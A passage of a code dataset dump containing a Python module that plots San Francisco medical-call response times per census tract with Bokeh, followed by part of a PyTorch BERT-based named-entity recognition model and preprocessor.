<= max_date\n        )\n\n        return response_times_tmp.all()\n\n    @staticmethod\n    def _get_tracts(tracts):\n        \"\"\"Get the tracts for which the stats will be plotted.\n        \n        If no tracts are given as input, the stats are plotted for\n        all the tracts in the database.\"\"\"\n        if not tracts:\n            tracts = [\n                tr[0] for tr in db.session.query(\n                                    MedicalCall.tract\n                                ).distinct().all()\n                if tr[0] != 'NaN'\n            ]\n        # if only one tract is entered as an integer, try to make it a list\n        elif not isinstance(tracts, list):\n            tracts = [str(tracts)]\n        # if the tracts are already a list, make sure they are strings\n        else:\n            tracts = [str(tr) for tr in tracts]\n\n        return tracts\n\n    def _get_response_time_and_priority_df(self, tract):\n        \"\"\"Create a dataframe with response times and priorities for the\n        filtered events.\"\"\"\n        # query the database for the required data, filtering by tract and\n        # date range\n        response_times = self._filter_response_times(\n            tract,\n            self.min_date,\n            self.max_date,\n        )\n\n        # convert the response time in minutes and, like when fitting the\n        # random forest regression model, ignore response times larger\n        # than 30 minutes\n        response_times_in_minutes = sorted(\n            [\n                (rt[0], round(rt[1].seconds / 60., 2), rt[2])\n                    for rt in response_times\n                    if rt[1] and rt[1] < dt.timedelta(minutes=30)\n            ],\n            key=lambda x: x[0]\n        )\n\n        # create a dataframe out of the list of tuples returned by the\n        # SQLAlchemy query; the dataframe is indexed by call date\n        df = pd.DataFrame(\n            response_times_in_minutes,\n            columns=[\n                'Date',\n                'Response Time',\n                'Priority',\n            ]\n        ).set_index('Date')\n\n        return df\n\n    @staticmethod\n    def _group_median_response_time(df, freq):\n        \"\"\"Get the median response time for the given time frequency.\"\"\"\n        return df['Response Time'].groupby(\n            pd.Grouper(freq=freq)\n        ).median()\n\n    @staticmethod\n    def _group_num_incidents(df, freq):\n        \"\"\"Get the total number of incidents for the given time frequency.\"\"\"\n        return df['Response Time'].groupby(\n            pd.Grouper(freq=freq)\n        ).count()\n\n    def _group_priority(self, df, freq):\n        \"\"\"Get the number of incidents grouped by priority for the given time\n        frequency.\"\"\"\n        # some ugly index gymnastics is required here, because a bug in Pandas\n        # groupby aggregate size & count methods excludes empty groups even\n        # when the observed parameter of groupby is set to False\n\n        # get dates between the start date and end date, at freq='D'\n        dates = pd.date_range(\n                start=self.min_date,\n                end=self.max_date,\n            )\n\n        # date grouping is done differently by different methods, so for\n        # consistency I generate a non-sense Pandas dataframe that I index by\n        # date and then group in the same way the dataset queried from the\n        # database was grouped; the date is extracted from the datetime objects\n        # and I get a list of quartely dates\n        quarterly_dates = [\n            d.date() for d in pd.DataFrame(\n                {\n                    'date': dates,\n                    '_col': range(len(dates))\n                }\n            ).set_index('date').groupby(\n                pd.Grouper(freq=freq)\n            ).indices.keys()\n        ]\n\n        # make an artificial index that includes all the time periods,\n        # including those in which the aggregate count/size methods return\n        # empty groups\n        my_idx = pd.MultiIndex.from_product(\n            [\n                PRIORITY_CODES,\n                quarterly_dates,\n            ],\n            names=[\n                'Priority',\n                'Date',\n            ],\n        )\n\n        # return a reindexed array, with empty groups set to zero rather\n        # than ignored\n        return df.groupby(\n            [\n                'Priority',\n                pd.Grouper(freq=freq)\n            ]\n        ).size().reindex(my_idx, fill_value=0)\n\n    def plot_time_evol(\n        self,\n        tracts=None,\n        figs_output_dir='',\n        scripts_output_dir='',\n        div_output_dir='',\n    ):\n        \"\"\"Plot response time and number of incidents as a function of time.\n\n        If `tracts` is not provided, the method generates plots for each tract\n        in the database. The `tracts` parameter is expected to be a list of\n        strings (not zero-padded), though the method will attempt to convert\n        it to the correct data type otherwise.\"\"\"\n\n        tracts = self._get_tracts(tracts)\n\n        for tr in tracts:\n            # filter dataset by date and tract\n            df_tmp = self._get_response_time_and_priority_df(tr)\n\n            median_response_time = self._group_median_response_time(\n                df_tmp,\n                GROUPING_FREQ,\n            )\n\n            total_num_incidents = self._group_num_incidents(\n                df_tmp,\n                GROUPING_FREQ,\n            )\n\n            priority_groups = self._group_priority(\n                df_tmp,\n                GROUPING_FREQ,\n            )\n\n            tract_geometry, cntr_lng, cntr_lat = get_tract_geom(tr)\n\n            output_file(figs_output_dir + f\"stats_tract{tr}.html\")\n            tools = \"pan,wheel_zoom,box_zoom,crosshair,reset\"\n\n            p1 = figure(\n                plot_width=1200,\n                plot_height=400,\n                x_axis_type='datetime',\n                x_axis_label='Date',\n                y_axis_label='Median Response Time (minutes)',\n                toolbar_location=\"above\",\n                tools=tools,\n            )\n\n            p1.yaxis.axis_label_text_font_size = '12pt'\n            p1.yaxis.major_label_text_font_size = '10pt'\n            p1.yaxis.axis_label_text_color = 'steelblue'\n\n            p1.xaxis.axis_label_text_font_size = '12pt'\n            p1.xaxis.major_label_text_font_size = '10pt'\n\n            p1.line(\n                median_response_time.index,\n                median_response_time.values,\n                line_width=5,\n                color='steelblue',\n                alpha=0.75,\n                legend_label='Median Response Time',\n            )\n\n            p1.y_range = Range1d(\n                min(median_response_time) * 0.95,\n                max(median_response_time) * 1.05,\n            )\n\n            p1.extra_y_ranges = {\n                'NumIncidents': Range1d(\n                    start=min(total_num_incidents) * 0.95,\n                    end=max(total_num_incidents) * 1.05,\n                )\n            }\n            p1.add_layout(\n                LinearAxis(\n                    y_range_name='NumIncidents',\n                    axis_label='Number of Incidents',\n                    axis_label_text_font_size='12pt',\n                    axis_label_text_color='firebrick',\n                    major_label_text_font_size='10pt',\n                ),\n                'right',\n            )\n\n            p1.line(\n                total_num_incidents.index,\n                total_num_incidents.values,\n                line_width=5,\n                color='firebrick',\n                alpha=0.75,\n                y_range_name='NumIncidents',\n                legend_label='Number of Incidents',\n            )\n\n            p1.legend.location = \"top_left\"\n            p1.legend.click_policy = \"hide\"\n\n            p2 = figure(\n                plot_width=800,\n                plot_height=400,\n                x_axis_type='datetime',\n                x_axis_label='Date',\n                y_axis_label='Number of Incidents',\n                toolbar_location=\"above\",\n                tools=tools,\n                x_range=p1.x_range,\n            )\n\n            p2.min_border_left = 150\n\n            p2.y_range.start = 0\n\n            p2.yaxis.axis_label_text_font_size = '12pt'\n            p2.yaxis.major_label_text_font_size = '10pt'\n\n            p2.xaxis.axis_label_text_font_size = '12pt'\n            p2.xaxis.major_label_text_font_size = '10pt'\n\n            stacked_area_source = ColumnDataSource(\n                data=dict(\n                    x=median_response_time.index\n                )\n            )\n            for pc in PRIORITY_CODES:\n                stacked_area_source.add(\n                    priority_groups[pc],\n                    name=pc,\n                )\n\n            p2.varea_stack(\n                PRIORITY_CODES,\n                x='x',\n                source=stacked_area_source,\n                color=('#bf9f84', 'darkolivegreen', '#e7cb75'),\n                alpha=0.75,\n                legend_label=[f\"Priority {pc}\" for pc in PRIORITY_CODES],\n            )\n\n            p2.legend.location = 'top_left'\n            p2.legend.orientation = 'horizontal'\n            p2.legend.spacing = 20\n\n            tools = \"pan,wheel_zoom,reset,save\"\n            map_options = GMapOptions(\n                lat=cntr_lat,\n                lng=cntr_lng,\n                map_type=\"roadmap\",\n                zoom=14\n            )\n\n            p3 = gmap(\n                GMAP_API_KEY,\n                map_options,\n                width=420,\n                height=400,\n                tools=tools,\n                toolbar_location='above'\n            )\n\n            p3.yaxis.visible=False\n            p3.xaxis.visible=False\n            p3.min_border_left = 50\n\n            lng_coords, lat_coords = [], []\n            for pg in list(tract_geometry.geoms):\n                c = pg.exterior.coords.xy\n                lng_coords.append(list(c[0]))\n                lat_coords.append(list(c[1]))\n\n            source = ColumnDataSource(\n                data=dict(\n                    x=lng_coords,\n                    y=lat_coords,\n                )\n            )\n\n            p3.patches(\n                'x', 'y',\n                source=source,\n                fill_color='darkslateblue',\n                fill_alpha=0.5,\n                line_color=\"black\",\n                line_width=1,\n            )\n\n            p = layout([[p3, p2], [p1]], spacing=50)\n\n            save(p)\n\n            script, div = components(p)\n\n            with open(\n                scripts_output_dir + f\"stats_script_tract{tr}.js\", 'w'\n            ) as f:\n                f.write(script)\n\n            with open(\n                div_output_dir + f\"stats_div_tract{tr}.html\", 'w'\n            ) as f:\n                f.write(div)\n\n        return None\n","repo_name":"gogrean/SFFD-Medical-Incident-Calls","sub_path":"code/tract_stats.py","file_name":"tract_stats.py","file_ext":"py","file_size_in_byte":13282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"33699696801","text":"from importlib import import_module\nfrom math import ceil\n\nimport torch\nimport torch.nn.functional as F\nimport transformers\n\nfrom data_utils import *\nfrom metrics import PrecisionRecallF1Metric\nfrom optimization import ScheduledOptimizer, LinearSchedule\nfrom torch_utils import batch_to_tensors, PytorchLightningBase, einsum, bce_with_logits, get_instance, register, fork_rng, get_config, save_pretrained, monkey_patch\n\n\nclass LargeSentenceException(Exception):\n    pass\n\n\ndef has_len(x):\n    try:\n        len(x)\n        return True\n    except:\n        return False\n\n\n@register(\"vocabulary\")\nclass Vocabulary(torch.nn.Module):\n    def __init__(self, values=(), with_pad=True, with_unk=False):\n        super().__init__()\n        self.with_pad = with_pad\n        self.with_unk = with_unk\n        values = ([\"__pad__\"] if with_pad and \"__pad__\" not in values else []) + ([\"__unk__\"] if with_unk and \"__unk__\" not in values else []) + list(values)\n        self.inversed = {v: i for i, v in enumerate(values)}\n        self.eval()\n\n    @property\n    def values(self):\n        return list(self.inversed.keys())\n\n    def get(self, obj):\n        if self.training:\n            return self.inversed.setdefault(obj, len(self.inversed))\n        res = self.inversed.get(obj, None)\n        if res is None:\n            try:\n                return self.inversed[\"__unk__\"]\n            except KeyError:\n                raise KeyError(f\"Could not find indice in vocabulary for {repr(obj)}\")\n        return res\n\n    def __repr__(self):\n        return f\"Vocabulary(count={len(self.inversed)}, with_pad={self.with_pad}, with_unk={self.with_unk})\"\n\n\n@register(\"flat_batch_norm\")\nclass FlatBatchNorm(torch.nn.BatchNorm1d):\n    def forward(self, inputs, mask):\n        flat = inputs.rename(None)[mask.rename(None)]\n        flat = super().forward(flat)\n        res = torch.zeros_like(inputs)\n        res[mask] = flat\n        return res.rename(*inputs.names)\n\n\n@register(\"char_cnn\")\nclass CharCNNWordEncoder(torch.nn.Module):\n    def __init__(self, n_chars, in_channels=8, out_channels=50, kernel_sizes=(3, 4, 5)):\n        super().__init__()\n        self.embedding = torch.nn.Embedding(n_chars, in_channels)\n        self.convs = torch.nn.ModuleList(\n            torch.nn.Conv1d(in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size, padding=0)\n            for kernel_size in kernel_sizes\n        )\n\n    def forward(self, batch):\n        chars = batch[\"words_chars\"][batch[\"words_mask\"]]\n        chars_mask = batch[\"words_chars_mask\"][batch[\"words_mask\"]]\n        embeds = self.embedding(chars).rearrange(\"word char dim -> word dim char\")\n        embeds = torch.cat([\n            conv(embeds.pad(char=(conv.kernel_size[0] // 2, (conv.kernel_size[0] - 1) // 2)).rename(None)).rearrange(\"word dim char -> word char dim\").masked_fill(~chars_mask.unsqueeze(-1), -100000)\n            for conv in self.convs\n        ], dim=\"dim\").max(\"char\").values\n        return embeds[batch[\"@words_id\"]].rename(None)\n\n\n@register(\"rezero\")\nclass ReZeroGate(torch.nn.Module):\n    def __init__(self, init_value=1e-3, dim=None, ln_mode=\"post\"):\n        super().__init__()\n        self.weight = torch.nn.Parameter(torch.ones(1) * init_value)\n        self.ln_mode = ln_mode\n        if ln_mode is not False:\n            self.norm = torch.nn.LayerNorm(dim)\n\n    def forward(self, after, before):\n        if self.ln_mode == \"post\":\n            return self.norm(before + after * self.weight)\n        elif self.ln_mode == \"pre\":\n            return before + self.norm(after) * self.weight\n        else:\n            return before + after * self.weight\n\n\n@register(\"sigmoid_gate\")\nclass SigmoidGate(torch.nn.Module):\n    def __init__(self, dim, init_value=1e-3, proj=False, ln_mode=\"post\"):\n        super().__init__()\n        if proj:\n            self.linear = torch.nn.Linear(dim, 1)\n        else:\n            self.weight = torch.nn.Parameter(torch.ones(1) * init_value)\n\n        self.ln_mode = ln_mode\n        if ln_mode is not False:\n            self.norm = torch.nn.LayerNorm(dim)\n\n    def forward(self, after, before):\n        gate = torch.sigmoid(self.weight if hasattr(self, 'weight') else self.linear(after))\n        if self.ln_mode == \"post\":\n            return self.norm(before * (1 - gate) + after * gate)\n        elif self.ln_mode == \"pre\":\n            return before * (1 - gate) + self.norm(after) * gate\n        else:\n            return before * (1 - gate) + after * gate\n\n\n@register(\"bert\")\nclass BERTEncoder(torch.nn.Module):\n    def __init__(self, _bert=None, bert_config=None, path=None, n_layers=4, dropout_p=0.1, freeze_n_layers=-1):\n        super().__init__()\n        self.bert = _bert if _bert is not None else transformers.AutoModel.from_pretrained(path, config=bert_config)\n        self.n_layers = n_layers\n        self.weight = torch.nn.Parameter(torch.randn(n_layers))\n\n        if freeze_n_layers == -1:\n            freeze_n_layers = len(self.bert.encoder.layer) + 1\n        for module in (self.bert.embeddings, *self.bert.encoder.layer)[:freeze_n_layers]:\n            for param in module.parameters():\n                param.requires_grad = False\n        for module in self.bert.modules():\n            if isinstance(module, torch.nn.Dropout):\n                module.p = dropout_p\n\n    @property\n    def bert_config(self):\n        return self.bert.config\n\n    def forward(self, batch):\n        token_features = self.bert.forward(batch[\"tokens\"], batch[\"tokens_mask\"], output_hidden_states=True)[2]\n        token_features = einsum(torch.stack(token_features[-self.n_layers:], dim=2), self.weight, \"sample token layer dim, layer -> sample token dim\")\n\n        word_bert_begin = batch[\"words_bert_begin\"].rename(\"sample\", \"word\")\n        word_bert_end = batch[\"words_bert_end\"].rename(\"sample\", \"word\")\n        bert_features_cumsum = token_features.rename(\"sample\", \"token\", \"dim\").cumsum(\"token\")\n        bert_features_cumsum = torch.cat([torch.zeros_like(bert_features_cumsum[:, :1]), bert_features_cumsum], dim=\"token\")\n        word_bert_features = (\n                                   bert_features_cumsum.smart_gather(word_bert_begin, dim=\"token\") -\n                                   bert_features_cumsum.smart_gather(word_bert_end, dim=\"token\")\n                             ) / (word_bert_end - word_bert_begin).clamp_min(1)\n        return word_bert_features\n\n\n@register(\"lstm\")\nclass LSTMContextualizer(torch.nn.Module):\n    def __init__(self, input_size, hidden_size, num_layers=1, gate=False, dropout_p=0.1, bidirectional=True):\n        super().__init__()\n        if hidden_size is None:\n            hidden_size = input_size\n            self.initial_linear = None\n        else:\n            self.initial_linear = torch.nn.Linear(input_size, hidden_size)\n\n        self.dropout = torch.nn.Dropout(dropout_p)\n        if gate is False:\n            self.gate_modules = [None] * num_layers\n        else:\n            self.gate_modules = torch.nn.ModuleList([\n                get_instance(gate)\n                for _ in range(num_layers)])\n        self.lstm_layers = torch.nn.ModuleList([\n            torch.nn.LSTM(input_size=hidden_size, hidden_size=hidden_size // 2, num_layers=1, bidirectional=bidirectional, batch_first=True)\n            for dim in [hidden_size] * num_layers\n        ])\n\n    @property\n    def gate(self):\n        return self.gate_modules[0] if len(self.gate_modules) else False\n\n    def forward(self, features, mask):\n        sentence_lengths = mask.long().sum(1)\n        sorter = (-sentence_lengths).argsort()\n        sentence_lengths = sentence_lengths[sorter]\n        names = features.names\n        features = features.rename(None)[sorter]\n        if self.initial_linear is not None:\n            features = self.initial_linear(features)  # sample * token * hidden_size\n        for lstm, gate_module in zip(self.lstm_layers, self.gate_modules):\n            out = lstm(torch.nn.utils.rnn.pack_padded_sequence(features, sentence_lengths.cpu(), batch_first=True))[0]\n            rnn_output = torch.nn.utils.rnn.pad_packed_sequence(out, batch_first=True)[0]\n            rnn_output = self.dropout(rnn_output)\n            if gate_module is None:\n                features = rnn_output\n            else:\n                features = gate_module(features, rnn_output)\n\n        return features[sorter.argsort()].rename(*names)\n\n@register(\"exhaustive_biaffine_ner\")\nclass ExhaustiveBiaffineNERDecoder(torch.nn.Module):\n    def __init__(self, \n        dim,\n        n_labels, \n        label_dim, \n        use_batch_norm=True, \n        dropout_p=0.2, \n        contextualizer=None,\n        private_contextualizer=None,\n        ):\n        super().__init__()\n        self.weight = torch.nn.Parameter(torch.randn(n_labels, label_dim, label_dim))\n        self.dropout = torch.nn.Dropout(dropout_p)\n        self.ff = torch.nn.Linear(dim * (2 if private_contextualizer is not None else 1), label_dim * n_labels * 2)\n        self.bias = torch.nn.Parameter(torch.zeros(n_labels))\n\n        if use_batch_norm:\n            self.batch_norm = FlatBatchNorm(contextualizer[\"hidden_size\"] + (private_contextualizer[\"hidden_size\"] if private_contextualizer is not None else 0))\n        else:\n            self.batch_norm = None\n\n        self.n_labels = n_labels\n        if contextualizer is not None:\n            self.contextualizer = get_instance(contextualizer)\n        else:\n            self.contextualizer = None\n\n        if private_contextualizer is not None:\n            self.private_contextualizer = get_instance(private_contextualizer)\n        else:\n            self.private_contextualizer = None\n\n    def top_params(self):\n        return [\n            self.weight,\n            self.bias,\n            *self.ff.parameters(),\n            *(self.batch_norm.parameters() if self.batch_norm is not None else ()),\n        ]\n\n    def forward(self, features, batch, return_loss=False, remove_nan=True):\n        device = features.device\n\n        mask = batch[\"words_mask\"]\n\n        if self.private_contextualizer is not None:\n            if self.contextualizer is not None:\n                shared_features = self.contextualizer(features, mask)\n            private_features = self.private_contextualizer(features, mask)\n            features = torch.cat([shared_features, private_features], dim=-1)\n        else:\n            if self.contextualizer is not None:\n                features = self.contextualizer(features, mask)\n\n        if self.batch_norm is not None:\n            features = self.batch_norm(features, mask)\n        features = F.relu(self.ff(self.dropout(features)))\n        start_features, end_features = features.rearrange(\"... (n_labels label_dim bounds) -> ... n_labels label_dim bounds\", n_labels=self.n_labels, bounds=2).unbind(\"bounds\")\n\n        spans_labels_score = einsum(start_features, end_features, \"sample start label dim, sample end label dim -> sample label start end\") + self.bias.rename(\"label\")\n        spans_mask = (\n              torch.triu(torch.ones(1, mask.shape[1], mask.shape[1], dtype=torch.bool, device=device)).rename(\"sample\", \"start\", \"end\")\n              & mask.rename(\"sample\", \"start\")\n              & mask.rename(\"sample\", \"end\")\n        ).repeat(\"sample label start end\", label=spans_labels_score.size(\"label\"))\n\n        if remove_nan:\n            spans_labels_score[torch.isinf(spans_labels_score)] = -10000\n            spans_labels_score[torch.isnan(spans_labels_score)] = -10000\n\n        loss = None\n        targets = None\n        if return_loss:\n            targets = torch.zeros_like(spans_mask)\n            if torch.is_tensor(batch[\"entities_mask\"]) and batch[\"entities_mask\"].any():\n                targets[batch[\"@entities_doc_id\"][batch[\"entities_mask\"]], batch[\"entities_label\"][batch[\"entities_mask\"]], batch[\"entities_begin\"][batch[\"entities_mask\"]], batch[\"entities_end\"][\n                    batch[\"entities_mask\"]]] = True\n            loss = bce_with_logits(spans_labels_score[spans_mask], targets[spans_mask])\n\n        pred_doc_ids, pred_labels, pred_begins, pred_ends = (spans_labels_score.masked_fill(~spans_mask, -10000) > 0).nonzero(as_tuple=True)\n\n        return {\n            \"scores\": spans_labels_score,\n            \"doc_ids\": pred_doc_ids,\n            \"labels\": pred_labels,\n            \"begins\": pred_begins,\n            \"ends\": pred_ends,\n            \"loss\": loss,\n            \"targets\": targets,\n            \"spans_labels_score\": spans_labels_score,\n            \"spans_mask\": spans_mask,\n        }\n\n@register(\"preprocessor\")\nclass Preprocessor(torch.nn.Module):\n    def __init__( \n          self,\n          bert_name,\n          bert_lower=False,\n          word_regex='[\\\\w\\']+|[!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~]',\n          substitutions=(),\n          do_unidecode=True,\n          sentence_split_regex=r\"((?:\\s*\\n)+\\s*|(?:(?<=[a-z0-9)]\\.)\\s+))(?=[A-Z])\",\n          sentence_balance_chars=(),\n          sentence_entity_overlap=\"raise\",\n          max_tokens=512,\n          large_sentences=\"equal-split\",\n          empty_entities=\"raise\",\n          vocabularies={},\n    ):\n        \"\"\"\n        Preprocess the data\n        Since this is a big piece of logic, it was put in a separate class\n        :param bert_name:\n            Name/path of the transformer model\n        :param bert_lower:\n            Apply lower case before tokenizing into wordpieces\n        :param word_regex: str\n            Regex to use to split sentence into words\n            Optional: if False, only bert wordpieces will be used\n        :param substitutions: list of (str, str)\n            (pattern, replacement) regex substitutions to apply on sentence before tokenizing\n        :param do_unidecode: bool\n            Apply unidecode on strings before tokenizing\n        :param sentence_split_regex: str\n            Regex used to split sentences.\n            Ex: \"(\\n([ ]*\\n)*)\" will split on newlines / spaces, and not keep these tokens in the sentences, because they are matched in a captured group\n        :param sentence_balance_chars: tuple of str\n            Characters to \"balance\" when splitting sentence, ex: parenthesis, brackets, etc.\n            Will make sure that we always have (number of '[')  <= (number of ']')\n        :param sentence_entity_overlap: str\n            What to do when a entity overlaps multiple sentences ?\n            Choices: \"raise\" to raise an error or \"split\" to split the entity\n        :param max_tokens: int\n            Maximum number of bert tokens in a sample\n        :param large_sentences: str\n            One of \"equal-split\", \"max-split\", \"raise\"\n            If \"equal-split\", any sentence longer than max_tokens will be split into\n            min number of approx equal size sentences that fit into the model\n            If \"max-split\", make max number of max_tokens sentences, and make a small sentence if any token remains\n            If \"raise\", raises\n        :param empty_entities: str\n            One of \"raise\", \"drop\"\n            If \"drop\", remove any entity that does not contain any word\n            If \"raise\", raises when this happens\n        :param vocabularies: dict of (str, Vocabulary)\n            Vocabularies that will be used\n            To train them (fill them) before training the model, and differ\n            the matrices initialization until we know their sizes, make sure\n            to call .train() of them before passing them to the __init__\n        \"\"\"\n        super().__init__()\n        assert empty_entities in (\"raise\", \"drop\")\n        assert large_sentences in (\"equal-split\", \"max-split\", \"raise\")\n        self.tokenizer = transformers.AutoTokenizer.from_pretrained(bert_name)\n        self.sentence_split_regex = sentence_split_regex\n        self.sentence_balance_chars = sentence_balance_chars\n        self.sentence_entity_overlap = sentence_entity_overlap\n        self.large_sentences = large_sentences\n        self.do_unidecode = do_unidecode\n        self.bert_lower = bert_lower\n        self.word_regex = word_regex\n        self.vocabularies = torch.nn.ModuleDict({key: get_instance(vocabulary) for key, vocabulary in vocabularies.items()})\n        self.substitutions = substitutions\n        self.empty_entities = empty_entities\n        self.max_tokens = max_tokens\n\n    @mappable\n    def forward(self, sample, only_text=False, task_name=None):\n\n        prefix = f\"{task_name}_\" if task_name is not None else \"\"\n\n        if self.sentence_split_regex is not None:\n            sentences_bounds = list(regex_sentencize(sample[\"text\"], reg_split=self.sentence_split_regex, balance_chars=self.sentence_balance_chars))\n        else:\n            sentences_bounds = [(0, len(sample[\"text\"]))]\n        results = []\n        while len(sentences_bounds):\n            begin, end = sentences_bounds.pop(0)\n            if not sample[\"text\"][begin:end].strip():\n                continue\n            sentence = slice_document(sample, begin, end, entity_overlap=self.sentence_entity_overlap)\n            bert_tokens = huggingface_tokenize(sentence[\"text\"].lower() if self.bert_lower else sentence[\"text\"], tokenizer=self.tokenizer, subs=self.substitutions, do_unidecode=self.do_unidecode)\n            if self.word_regex is not None:\n                words = regex_tokenize(sentence[\"text\"], reg=self.word_regex, subs=self.substitutions, do_unidecode=self.do_unidecode)\n            else:\n                words = bert_tokens\n            tokens_indice = self.tokenizer.convert_tokens_to_ids(bert_tokens[\"word\"])\n            words_bert_begin, words_bert_end = split_spans(words[\"begin\"], words[\"end\"], bert_tokens[\"begin\"], bert_tokens[\"end\"])\n            words_bert_begin, words_bert_end = words_bert_begin.tolist(), words_bert_end.tolist()\n\n            # if the sentence has too many tokens, split it\n            if len(bert_tokens['word']) > self.max_tokens:\n                warnings.warn('Sentences > {self.max_tokens} tokens will be split with option large_sentence=\"{self.large_sentences}\". Consider using a more restrictive regex for sentence splitting if you want to avoid it.')\n                if self.large_sentences == \"equal-split\":\n                    stop_bert_token = len(bert_tokens['word']) // ceil(len(bert_tokens['word']) / self.max_tokens)\n                elif self.large_sentences == \"max-split\":\n                    stop_bert_token = self.max_tokens\n                else:\n                    raise LargeSentenceException(repr(sample[\"text\"][begin:end]))\n                last_word = next(i for i in range(len(words_bert_end) - 1) if words_bert_end[i + 1] >= stop_bert_token)\n                sentences_bounds[:0] = [(begin, begin + words[\"end\"][last_word]), (begin + words[\"begin\"][last_word + 1], end)]\n                continue\n\n            # Here, we know that the sentence is not too long\n            words_chars = [[self.vocabularies[\"char\"].get(char) for char in word] for word, word_bert_begin in zip(words[\"word\"], words_bert_begin) if word_bert_begin != -1]\n            if not only_text and \"entities\" in sentence and len(sentence[\"entities\"]):\n                entities_begin, entities_end, entities_label, entities_id = map(list, zip(*[[fragment[\"begin\"], fragment[\"end\"], entity[\"label\"], entity[\"entity_id\"] + \"/\" + str(i)]\n                                                                                            for entity in sentence[\"entities\"] for i, fragment in enumerate(entity[\"fragments\"])]))\n                entities_begin, entities_end = split_spans(entities_begin, entities_end, words[\"begin\"], words[\"end\"])\n                empty_entity_idx = next((i for i, begin in enumerate(entities_begin) if begin == -1), None)\n                if empty_entity_idx is not None:\n                    if self.empty_entities == \"raise\":\n                        raise Exception(\n                            f\"Entity {sentence['doc_id']}/{entities_id[empty_entity_idx]} could not be matched with any word (is it empty or outside the text ?). Use empty_entities='drop' to ignore these cases\")\n                    else:\n                        warnings.warn(\"Empty mentions (start = end or outside the text) have been skipped\")\n                        entities_label = [label for label, begin in zip(entities_label, entities_begin) if begin != -1]\n                        entities_id = [entity_id for entity_id, begin in zip(entities_id, entities_begin) if begin != -1]\n                        entities_end = np.asarray([end for end, begin in zip(entities_end, entities_begin) if begin != -1])\n                        entities_begin = np.asarray([begin for begin in entities_begin if begin != -1])\n\n                entities_end -= 1  # end now means the index of the last word\n                entities_label = [self.vocabularies[f\"{prefix}label\"].get(label) for label in entities_label]\n                entities_begin, entities_end = entities_begin.tolist(), entities_end.tolist()\n            else:\n                entities_begin, entities_end, entities_label, entities_id = [], [], [], []\n            # if len(tokens_indice) > self.max_tokens:\n            results.append({\n                \"tokens\": tokens_indice,\n                \"tokens_mask\": [True] * len(tokens_indice),\n                \"words_mask\": [True] * len(words_chars),\n                \"words\": words[\"word\"],\n                \"words_id\": [sentence[\"doc_id\"] + \"-\" + str(i) for i in range(len(words_chars))],\n                \"words_chars\": words_chars,\n                \"words_chars_mask\": [[True] * len(word_chars) for word_chars in words_chars],\n                \"words_bert_begin\": words_bert_begin,\n                \"words_bert_end\": words_bert_end,\n                \"words_begin\": words[\"begin\"],\n                \"words_end\": words[\"end\"],\n                \"entities_begin\": entities_begin,\n                \"entities_end\": entities_end,\n                \"entities_label\": entities_label,\n                \"entities_id\": entities_id,\n                \"entities_doc_id\": [sentence[\"doc_id\"]] * len(entities_id),\n                \"entities_mask\": [True] * len(entities_id),\n                \"doc_id\": sentence[\"doc_id\"],\n                \"original\": sentence,\n            })\n        return results\n\n    def tensorize(self, batch, device=None, mtl=False):\n        if mtl:\n            return {\n                task_name: batch_to_tensors(b, ids_mapping={\"entities_doc_id\": \"doc_id\"}, device=device)\n                for task_name, b in batch.items()\n            }\n        return batch_to_tensors(batch, ids_mapping={\"entities_doc_id\": \"doc_id\"}, device=device)\n\n\ndef identity(x):\n    return x\n\n\n@register(\"ner\")\nclass NER(PytorchLightningBase):\n    def __init__(\n          self,\n          preprocessor,\n          word_encoders,\n          decoder,\n          use_embedding_batch_norm=False,\n          seed=42,\n          data_seed=None,\n\n          init_labels_bias=True,\n          batch_size=24,\n          top_lr=1.5e-3,\n          main_lr=1.5e-3,\n          bert_lr=4e-5,\n          gradient_clip_val=5.,\n          warmup_rate=0.1,\n          use_lr_schedules=True,\n          optimizer_cls=transformers.AdamW\n    ):\n        \"\"\"\n\n        :param preprocessor: dict\n            Preprocessor module parameters\n        :param word_encoders: list of dict\n            Word encoders module parameters\n        :param decoder: dict\n            Decoder module parameters\n        :param use_embedding_batch_norm: bool\n            Apply batch norm on features computed from word_encoders ?\n        :param seed: int\n            Seed for the model weights\n        :param data_seed: int\n            Seed for the data shuffling\n        :param init_labels_bias: bool\n            Initialize the labels bias vector with log frequencies of the labels in the dataset\n        :param batch_size: int\n            Batch size\n        :param top_lr: float\n            Top modules parameters' learning rate, typically higher than other parameters learning rates\n        :param main_lr: float\n            Intermediate modules parameters' learning rate\n        :param bert_lr: float\n            BERT modules parameters' learning rate\n        :param gradient_clip_val:\n            Use gradient clipping\n        :param warmup_rate: float\n            Apply warmup for how much of the training (defaults to 0.1 = 10%)\n        :param use_lr_schedules: bool\n            Use learning rate schedules\n        :param optimizer_cls: str or type\n            Torch optimizer class to use\n        \"\"\"\n        super().__init__()\n\n        monkey_patch()\n\n        if data_seed is None:\n            data_seed = seed\n        self.seed = seed\n        self.data_seed = data_seed\n        self.train_metric = PrecisionRecallF1Metric(prefix=\"train_\")\n        self.val_metric = PrecisionRecallF1Metric(prefix=\"val_\")\n        self.test_metric = PrecisionRecallF1Metric(prefix=\"test_\")\n        self.init_labels_bias = init_labels_bias\n\n        self.gradient_clip_val = gradient_clip_val\n        self.top_lr = top_lr\n        self.main_lr = main_lr\n        self.bert_lr = bert_lr\n        self.use_lr_schedules = use_lr_schedules\n        self.warmup_rate = warmup_rate\n        self.batch_size = batch_size\n        self.optimizer_cls = getattr(import_module(optimizer_cls.rsplit(\".\", 1)[0]), optimizer_cls.rsplit(\".\", 1)[1]) if isinstance(optimizer_cls, str) else optimizer_cls\n\n        self.preprocessor = get_instance(preprocessor)\n\n        # Init postponed to setup\n        self.word_encoders = word_encoders if isinstance(word_encoders, list) else word_encoders.values()\n        self.embedding_batch_norm = None\n        self.decoder = decoder\n        self.use_embedding_batch_norm = use_embedding_batch_norm\n\n        if not any(voc.training for voc in self.preprocessor.vocabularies.values()):\n            self.init_modules()\n\n    def init_modules(self):\n        # Init modules that depend on the vocabulary\n        with fork_rng(self.seed):\n            word_encoders = self.word_encoders\n            for word_encoder in word_encoders:\n                if word_encoder.get(\"n_chars\", -1) is None:\n                    word_encoder[\"n_chars\"] = len(self.preprocessor.vocabularies[\"char\"].values)\n            self.word_encoders = torch.nn.ModuleList([\n                get_instance(word_encoder)\n                for word_encoder in self.word_encoders\n            ])\n            self.embedding_batch_norm = FlatBatchNorm(self.decoder[\"contextualizer\"][\"input_size\"]) if self.use_embedding_batch_norm else None\n            if 